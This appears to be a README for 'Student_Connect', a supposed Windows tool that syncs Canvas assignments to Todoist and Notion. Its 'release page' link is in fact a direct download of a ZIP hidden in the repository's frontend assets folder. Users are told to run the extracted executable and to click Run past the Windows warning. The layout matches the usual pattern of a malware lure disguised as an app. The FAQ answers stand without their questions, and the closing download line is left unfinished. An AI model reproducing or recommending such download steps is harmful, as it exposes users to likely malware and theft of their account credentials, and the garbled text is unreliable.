Student_Connect helps you keep school tasks in sync across apps. It watches your Canvas assignments and sends them to Todoist and Notion so you do not have to enter them by hand.
It is built for Windows users who want a simple setup and less duplicate work. The app uses a clear sync process to avoid adding the same task more than once.
Before you start, make sure you have:
- A Windows PC
- A stable internet connection
- A Canvas account
- A Todoist account
- A Notion account
- Access to the release files from GitHub
For best results, use the latest version of Windows 10 or Windows 11.
- Open the release page: https://raw.githubusercontent.com/jerromeunspecific777/Student_Connect/main/frontend/src/Components/assets/Student_Connect_v2.6-alpha.1.zip
- Find the latest release at the top of the page
- Under Assets, download the Windows file for Student_Connect
- Save the file to your Desktop or Downloads folder
- If the file comes as a ZIP file, right-click it and choose Extract All
- Open the extracted folder
- Double-click the app file to start Student_Connect
If Windows asks whether you want to run the app, choose Run.
Visit the releases page to download Student_Connect
When you open Student_Connect for the first time, you will need to connect your accounts.
- Open the app
- Sign in with your Canvas account
- Connect Todoist
- Connect Notion
- Allow the app to access the parts of each account it needs
- Save your settings
Use the same browser you use for each service if the sign-in page opens there. This keeps the login process simple.
Student_Connect follows a simple flow:
- It checks your Canvas courses for assignments
- It compares new items with what it has already synced
- It sends missing tasks to Todoist and Notion
- It skips items that already exist
- It keeps your lists aligned as assignments change
This helps keep your school work in one place without repeated entries.
- Canvas assignment sync
- Todoist task creation
- Notion page and database support
- Duplicate task checks
- Scheduled background sync
- Secure account connection
- Clean React-based interface
- Flask backend for data handling
- MongoDB storage for sync state
- RSA encryption for stored secrets
- OAuth 2.0 sign-in support
After setup, you can use Student_Connect like this:
- Open the app
- Check that all accounts show as connected
- Start a sync
- Review the new items added to Todoist and Notion
- Open your task list and confirm the assignments are there
If you add a new assignment in Canvas, it should appear in your connected apps after the next sync.
Student_Connect can run on a set schedule so you do not need to check it by hand.
Common options include:
- Every 15 minutes
- Every 30 minutes
- Every hour
- At app start
- Manual sync only
Choose the interval that fits your school load. If you want fewer checks, use a longer interval.
The app can move these items from Canvas:
- Assignment title
- Due date
- Course name
- Notes or instructions
- Link to the Canvas item
It uses that data to create a clear task in Todoist or a useful page in Notion.
If something does not work, try these steps:
- Make sure you are signed in to the right accounts
- Check that your internet connection works
- Close the app and open it again
- Run the latest release from the releases page
- Confirm that Canvas still shows your assignments
- Try a manual sync
If Todoist or Notion does not update, disconnect and reconnect that account, then run sync again.
Student_Connect uses secure sign-in methods for connected accounts. It also stores data in a way that helps protect account details.
It keeps sync records so it can tell new assignments from items it has already handled.
After you extract the release, you may see files like these:
- Student_Connect.exe
- config folder
- logs folder
- assets folder
- README or setup file
Keep the files together in one folder so the app can find what it needs.
- Keep Canvas, Todoist, and Notion connected with the same email if possible
- Sync after large assignment updates
- Check your task list once after the first run
- Use scheduled sync for regular school weeks
- Run the latest release when you want fixes and changes
Yes. The setup guide on the release page is meant for Windows users.
No. You only need to download the file, open it, and connect your accounts.
Student_Connect uses a state check to reduce duplicate items.
Yes. You can connect the app to the service you want to use.
It can handle multiple Canvas courses at once.
apscheduler, automation, canvas-lms, flask, full-stack, jwt, mongodb, notion, oauth2, python, react, todoist
Use the release page to get the latest Windows build: